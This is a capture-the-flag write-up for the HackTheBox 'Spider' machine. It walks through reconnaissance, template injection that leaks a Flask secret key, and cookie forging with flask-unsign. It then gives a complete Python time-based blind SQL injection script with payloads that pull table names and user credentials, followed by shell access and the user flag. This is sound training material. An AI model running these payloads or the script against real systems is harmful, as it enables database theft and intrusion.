This is a hard difficulty Linux machine from HackTheBox created by infoSecjack and chivato. This machine is really complex with a lot of topic, it's excelent to refine your concept and scripting skills. In this scenario, my IP is 10.10.14.83 and the target’s IP is 10.129.193.169
Gathering Information
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
By searching "OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 launchpad" in google, we find that our target is a Linux-Bionic machine, is good to know every detail about the target... and the other information to the pocket, is that the port 80 use nginx/1.14.0.
We received an http error, let's add the IP to our /etc/host.
All right, there is a lot of basic information over the table, now we need to explore the website http://spider.htb/.
After exploring a little bit, is just a simple shop without weird directories, let's intercept the current session anywhere.
Looks like a simple base64 hash.
It looks like something to store our cart data, this means that there is a possible escenario where the cookie is connected to some sort of database. Create an account, login, add items to your cart and Intercept your Home-session.
After registration page
Interesting, after registration, the login process is by using some sort of UUID code... for now it is irrelevant, let's "buy" and then intercept.
Our cookie is now laaargeeeeeer
Ok, it works, from the cookie we can retrieve information...
and after a long search, because we can see the username after login, the best option now is to apply a Server Side Template Injection, to see how this happen, we are going to register as {{config}}, if it works, it's because is vulnerable.
From this point, my IP is 10.10.14.103 and the target IP is 10.129.194.26...
Output at "User Information" when you register as {{config}}
It's a lot of information, save the output in a file, in this page that file will be called "Config"
Config content with the replacement ":%s/,\r/g" (Transform every "," to "\r")
We found some configuration stuff like a new key to use, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', and by the structure of the configuration, maybe this project is using Flask.
Well, we receive a positive response by using the flask-unsign command, now we can use that command to create custom sessions by using the secret key.
With the previous command, the output is equal to the cookie when we login as {{config}}, this means that we successfully execute the reverse process.
What if this JSON data lecture is vulnerable to SQL Injection? Just by adding { \' and sleep(10)-- - }at the end before the '}
After 10 seconds, this was the response... it works!
For agility reasons, I will follow this process using Burpsuite, and spoiler, it works if you the following query: " order by 1 -- -"
There is no new message por "Test" at the webpage, so we are working with a Blind SQL Injection, so the best method here is to create a python script to get character by character the information that you need.
Output
And the command works, remember that we could use as payload a list with the most common database names, if you don't want to make a whole brute force script.
Now that we know the name of the database, the only thing that is necessary to change at the script is the payload.
To know about other tables, we have two options, the first one is to change the "limit 0,1" to "limit 1,1" and so on, the other one is to add another for loop [for j in range(1,10)] to make a list with table names.
Table user found! Now we have to do the same thing but with columns, it's the same login:
Now we know the column name from the table "users". Still, is almost the same logic, first just add some characters to the poll.
From here, is a cycle between changes at the payload, only to select another column and get more information.
Login to the web page with the new credentials.
I tried some stuff but nothing happens, but there is an URL there.
The command "sleep 5" works so we have a new potential way to execute commands...
And finally, we are at the machine!
Follow the steps from TTY treatment to upgrade your bash
Look at this, free credentials!
But didn't work... let's get the flag then.
Privileges Escalation
To make thing easier, go to /home/chiv/.ssh and copy the public id_rsa at your local machine, then connect to the target.
Now we proceed with the scouting.
There is something at the port 8080, usually used to host other website.
It exist, but isn't redirecting us, so an alternative here is to use a local portforwarding to connect from our machine to that website.
Browser: localhost
We can login with any... username...
Login interception.
If you intercept the moment when you login, you send the username, here was "hola", and you send a "version", then receive a new cookie. We know the process to decrypt that cookie.
Then press forward and voila, you will see the whole /etc/passwd, for some reason, if you try to advance by only using Burpsuite, remember to change the current cookie to the new one.
Sucess
Now let's try with a new payload
Request with payload
Change the cookie and then "Follow Redirection"
Then send again
Copy the id_rsa and try to connect again to the target.
nmap -sCV -p 22,80 10.129.193.169 -oN WebScan
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-16 17:33 Pacific SA Standard Time
Nmap scan report for 10.129.193.169
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
| 256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_ 256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Received a lot of "Response 502" so I decided to filter.
wfuzz -c -f FuzzFile -t 200 --hc=404,502 -w /shared/wordlists/dirbuster/directory-list-2.3-medium.txt http://spider.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://spider.htb/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 255 L 634 W 11273 Ch "index"
000000051: 200 85 L 169 W 2130 Ch "register"
000000039: 200 77 L 156 W 1832 Ch "login"
000000063: 302 3 L 24 W 219 Ch "main"
000000111: 302 3 L 24 W 219 Ch "user"
000000124: 302 3 L 24 W 219 Ch "view"
000000397: 500 4 L 40 W 290 Ch "cart"
000001211: 302 3 L 24 W 209 Ch "logout"
000001688: 500 4 L 40 W 290 Ch "checkout"
000045226: 200 255 L 634 W 11273 Ch "http://spider.htb/"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 0
Processed Requests: 97234
Filtered Requests: 97224
Requests/sec.: 0
#!/usr/bin/python3
from pwn import *
import pdb, string
import requests
def def_handler(sig, frame):
print("\n\nBreak!\n\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
#Variables
chars = string.ascii_lowercase
url = "http://spider.htb"
cookie = '''{'cart_items': [], 'uuid': '3670359a-54c9-4f6d-8ad6-c4fb8c31906c'''
secretKey = "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"
def makeRequest():
# Progres system, quality of life.
p1 = log.progress("Brute Force")
p1.status("Starting brute force process")
time.sleep(2)
p2 = log.progress("Data")
p2.status("Obtaining characters")
time.sleep(2)
database = ""
count = 0
for char_position in range(1,10):
for character in chars:
p1.status(f"Testing with {character}")
# If True, it will wait 5 seconds, else: Continue testing
# The {'}'} is just to add a single } by using printf... yes, confusing.
payload = f"\\' and if(substr(database(),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
session_cookie = subprocess.check_output(f'''
flask-unsign --sign --cookie "{cookie}{payload}" --secret '{secretKey}'
''', shell=True).decode().strip()
# flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '3670359a-54c9-4f6d-8ad6-c4fb8c31906c\' and if(substr(database(),1,1)=\'s\',sleep(5),1)#'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
#session_cookie = f'''flask-unsign --sign --cookie "{cookie}{payload}" --secret '{secretKey}' '''
#print(session_cookie)
headers = {
'Cookie': 'session=%s' % session_cookie
}
time_start = time.time()
r = requests.get(url, headers=headers)
time_end = time.time()
# If True, add the character to database
if time_end - time_start > 5:
database += character
p2.status(database)
count = 0
break
count += 1
if count > range(0,len(chars)):
break
if __name__ == '__main__':
makeRequest()
New payload line:
payload = f"\\' and if(substr((select table_name from information_schema.tables where table_schema=\\'shop\\' limit 1,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
Result from SQLI.py
# With limit 0,1
[p] Brute Force: Testing with z
[▝] Data: items
# With limit 1,1
[./......] Brute Force: Testing with z
[...\....] Data: messages
# With limit 2,1
[◣] Brute Force: Testing with z
[q] Data: support
# With limit 3,1
[◥] Brute Force: Testing with z
[.......\] Data: users
New payload line:
payload = f"\\' and if(substr((select column_name from information_schema.columns where table_schema=\\'shop\\' and table_name=\\'users\\' limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
Result from SQLI.py
# With limit 0,1
[.....\..] Brute Force: Testing with z
[ ] Data: id
# With limit 1,1
[←] Brute Force: Testing with z
[ ] Data: name
# With limit 2,1
[q] Brute Force: Testing with z
[b] Data: password
# With limit 3,1
[▝] Brute Force: Testing with z
[◐] Data: uuid
New char line:
chars = string.ascii_letters + string.digits + string.punctuation
# New char_position range
for char_position in range(1,50):
New payload line:
payload = f"\\' and if(substr((select name from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: name // limit 0,1
[<] Brute Force: Testing with z
[ ] Data: chiv
payload = f"\\' and if(substr((select password from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: password // limit 0,1
[▅] Brute Force: Testing with z
[.] Data: ch1VW4sHERE7331
payload = f"\\' and if(substr((select uuid from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: uuid // limit 0,1
[o] Brute Force: Testing with z
[∧] Data: 129f60ea-30cf-4065-afb9-6be45ad38b73
ssh chiv@10.129.194.205
The authenticity of host '10.129.194.205 (10.129.194.205)' can't be established.
ED25519 key fingerprint is SHA256:rq9z2YnbZs3ZBIGMX0c2Zv5Y5jk/1Zl5LhztpJxelRs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.194.205' (ED25519) to the list of known hosts.
chiv@10.129.194.205: Permission denied (publickey).
Target Terminal [Chiv]
chiv@spider:/var/www/webapp$ cd /home/chiv
cd /home/chiv
chiv@spider:~$ ls
ls
user.txt
chiv@spider:~$ cat user.txt
cat user.txt
81b7cc441dce823e7e44d31e633e823e
find \-perm 4000 2>/dev/null # Nothing relevant from here.
#<...>
lsb_release -a #Nothing relevant
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.5 LTS
Release: 18.04
Codename: bionic
Target Terminal [Chiv]
chiv@spider:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 127.0.0.1:34488 ESTABLISHED
tcp 0 0 10.129.194.205:52266 10.10.14.103:443 ESTABLISHED
tcp 0 244 10.129.194.205:22 10.10.14.103:53338 ESTABLISHED
tcp 0 0 10.129.194.205:52274 10.10.14.103:443 ESTABLISHED
tcp 0 0 127.0.0.1:34488 127.0.0.1:3306 ESTABLISHED
tcp 0 1 10.129.194.205:41628 1.1.1.1:53 SYN_SENT
tcp6 0 0 :::22 :::* LISTEN
Target Terminal [Chiv]
curl localhost:8080
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.c